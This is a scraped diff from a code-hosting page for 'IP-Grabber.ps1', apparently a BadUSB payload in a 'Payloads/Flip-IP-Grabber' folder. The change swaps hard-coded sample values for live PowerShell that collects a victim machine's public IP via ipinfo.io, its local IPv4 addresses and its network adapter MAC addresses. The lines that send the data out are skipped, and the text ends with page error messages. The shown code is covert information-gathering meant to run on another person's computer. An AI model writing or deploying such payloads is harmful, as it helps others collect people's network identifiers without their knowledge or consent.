🤬
  • ■ ■ ■ ■ ■
    Payloads/Flip-IP-Grabber/IP-Grabber.ps1
    skipped 41 lines
    42 42   }
    43 43  }
    44 44   
    45  -#$email = Get-email
    46  -$email = "[email protected]"
     45 +$email = Get-email
     46 + 
    47 47  #------------------------------------------------------------------------------------------------------------------------------------
    48 48   
    49 49   
    50  -#try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content}
    51  -#catch{$computerPubIP="Error getting Public IP"}
     50 +try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content}
     51 +catch{$computerPubIP="Error getting Public IP"}
    52 52   
    53  -$computerPubIP="74.36.101.154"
    54 53   
    55  -#$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String
    56 54   
    57  -$localIP = @"
    58  -InterfaceAlias IPAddress PrefixOrigin
    59  --------------- --------- ------------
    60  -Ethernet 2 162.254.121.60 WellKnown
    61  -Ethernet 192.165.254.16 Dhcp
    62  -Wi-Fi 169.254.1.58 WellKnown
    63  -"@
     55 +$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String
    64 56   
    65  -#$MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String
    66  -$MAC = @"
    67  -Name MacAddress Status
    68  ----- ---------- ------
    69  -Ethernet 2 A4-E0-62-D0-38-D6 Disconnected
    70  -Ethernet CE-80-B7-66-A4-CF Up
    71  -Wi-Fi D0-97-B0-8A-23-19 Disconnected
    72  -"@
     57 +$MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String
    73 58   
    74 59  #------------------------------------------------------------------------------------------------------------------------------------
    75 60   
    skipped 51 lines
Please wait...
Page is in error, reload to recover